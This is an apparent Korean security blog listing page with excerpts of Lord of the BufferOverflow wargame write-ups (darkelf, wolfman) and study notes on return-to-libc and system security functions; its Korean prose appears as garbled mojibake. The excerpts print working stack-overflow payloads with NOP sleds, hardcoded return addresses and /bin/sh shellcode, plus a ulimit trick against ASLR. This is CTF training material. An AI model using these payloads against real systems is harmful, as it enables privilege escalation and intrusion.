๐’ƒ๐’†๐’‚๐’–๐’•๐’š ๐’Š๐’๐’•๐’†๐’๐’๐’Š๐’ˆ๐’†๐’๐’•
728x90
๋ฐ˜์‘ํ˜•
article thumbnail
LOB darklf
Wargame/CTF(Capture The Flag) 2015. 9. 15. 05:28

์†Œ์Šค๋ฅผ ์—ด์–ด๋ณด๋ฉด ์ผ๋‹จ ์ „๋ฌธ์ œ๋ž‘ ๋น„์Šทํ•œ๋ฐ ๊ธธ์ด๋ฅผ ์ฒดํฌํ•œ๋‹ค.์ฒซ๋ฒˆ์งธ์ธ์ž ๊ฐ’์˜ ๊ธธ์ด๋ฅผ ํ™•์ธํ•˜์—ฌ 48๊ธ€์ž๋ณด๋‹ค ํฌ๋ฉด ๋‚˜์™€๋ฒ„๋ฆฌ๋Š” ๊ฒƒ์„ ํ™•์ธ ํ• ์ˆ˜ ์žˆ๋‹ค. ์ผ๋‹จ ์•ž๊ณผ ๋˜‘๊ฐ™์ด ์ง„ํ–‰ํ•˜๊ณ  payload๋ฅผ ์ž‘์„ฑ๋•Œ ./darkelf $(python -c 'print "\x90"*40+"AAAA"+"\xcc\xfb\xff\xbf"')

article thumbnail
LOB wolfman
Wargame/CTF(Capture The Flag) 2015. 9. 15. 05:09

๋‹ค์‹œ ๋ฌธ์ œ๋ฅผ ํ’€๋ฉด ๋‘๋‘ฅ ์ „ ๋ฌธ์ œ๋ž‘ ๋˜‘๊ฐ™์€ ํŒจํ„ด์ด๋‹ค. ./wolfman $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xec\xfb\xff\xbf"(์ฃผ์†Œ๊ฐ’)+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

system 2
Security Study/System 2015. 9. 13. 03:19

gdb์•ˆ์—์„œ์˜ blocking ํ•จ์ˆ˜ ์ž…๋ ฅ r

system 1์ผ์ฐจ
Security Study/System 2015. 9. 12. 08:54

buf[248] + sfp[4] + ret ulimit -s unlimited //์Šคํƒํฌ๊ธฐ๋ฅผ ๋ฌดํ•œ์ •์œผ๋กœ ๋Š˜๋ ค ASLR์ด ์ ์šฉ์•ˆ๋จ system,execve - ebp+8์œ„์น˜์—์žˆ๋Š”๊ฒƒ์„ ์ธ์ž๋กœ๋ฐ›์Œ buf[248] + sfp [4] + ์กฐ์ž‘(system) + AAAA + /bin/sh - system("/bin/sh") b main r 1 p system - system์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ p exit - exit๊ตฌํ•˜๊ธฐ find &system,+9999999,"/bin/sh" - /bin/sh์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ ./filename $(python -c 'print "A"*๋ฒ„ํผ+sfp + system + exit + /bin/sh strcpy(bss,\x80asda) strcpy(bss,"b") ./filename buf+sfp..

์‹œ์Šคํ…œ๊ณผ ๊ด€๋ จํ•œ ๋ณด์•ˆ ๊ธฐ๋Šฅ

์‹œ์Šคํ…œ๊ณผ ๊ด€๋ จํ•œ ๋ณด์•ˆ ๊ธฐ๋Šฅ ๊ณ„์ •๊ณผ ํŒจ์Šค์›Œ๋“œ ๊ด€๋ฆฌ ์ ์ ˆํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•œ ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ธ ์ธ์ฆ ์ˆ˜๋‹จ ์‹œ์Šคํ…œ์—์„œ๋Š” ๊ณ„์ •๊ณผ ํŒจ์Šค์›Œ๋“œ ๊ด€๋ฆฌ๊ฐ€ ๋ณด์•ˆ์˜ ์‹œ์ž‘ ์„ธ์…˜ ๊ด€๋ฆฌ ์‚ฌ์šฉ์ž์™€ ์‹œ์Šคํ…œ ๋˜๋Š” ๋‘ ์‹œ์Šคํ…œ ๊ฐ„์˜ ํ™œ์„ฑํ™”๋œ ์ ‘์†์— ๋Œ€ํ•œ ๊ด€๋ฆฌ ์ผ์ • ์‹œ๊ฐ„์ด ์ง€๋‚  ๊ฒฝ์šฐ ์ ์ ˆํžˆ ์„ธ์…˜์„ ์ข…๋ฃŒํ•˜๊ณ , ๋น„ ์ธ๊ฐ€์ž์— ์˜ํ•œ ์„ธ์…˜ ๊ฐ€๋กœ์ฑ„๊ธฐ๋ฅผ ํ†ต์ œ ์ ‘๊ทผ ์ œ์–ด ์‹œ์Šคํ…œ์ด ๋„คํŠธ์›Œํฌ ์•ˆ์—์„œ ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์œผ๋กœ๋ถ€ํ„ฐ ์ ์ ˆํžˆ ๋ณดํ˜ธ๋  ์ˆ˜ ์žˆ๋„๋ก ๋„คํŠธ์›Œํฌ ๊ด€์ ์—์„œ ์ ‘๊ทผ์„ ํ†ต์ œ ๊ถŒํ•œ ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์˜ ๊ฐ ์‚ฌ์šฉ์ž๊ฐ€ ์ ์ ˆํ•œ ๊ถŒํ•œ์œผ๋กœ ์ ์ ˆํ•œ ์ •๋ณด ์ž์‚ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ†ต์ œ ๋กœ๊ทธ ๊ด€๋ฆฌ ์‹œ์Šคํ…œ ๋‚ด๋ถ€ ํ˜น์€ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•œ ์™ธ๋ถ€์—์„œ ์‹œ์Šคํ…œ์— ์–ด๋–ค ์˜ํ–ฅ์„ ๋ฏธ์น  ๊ฒฝ์šฐ ํ•ด๋‹น ์‚ฌํ•ญ์„ ๊ธฐ๋ก ์ทจ์•ฝ์  ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์€ ๊ณ„์ •๊ณผ ํŒจ์Šค์›Œ๋“œ ๊ด€๋ฆฌ, ์„ธ์…˜ ๊ด€๋ฆฌ, ์ ‘๊ทผ ์ œ์–ด, ๊ถŒํ•œ ๊ด€๋ฆฌ..

728x90
๋ฐ˜์‘ํ˜•
profile on loading

Loading...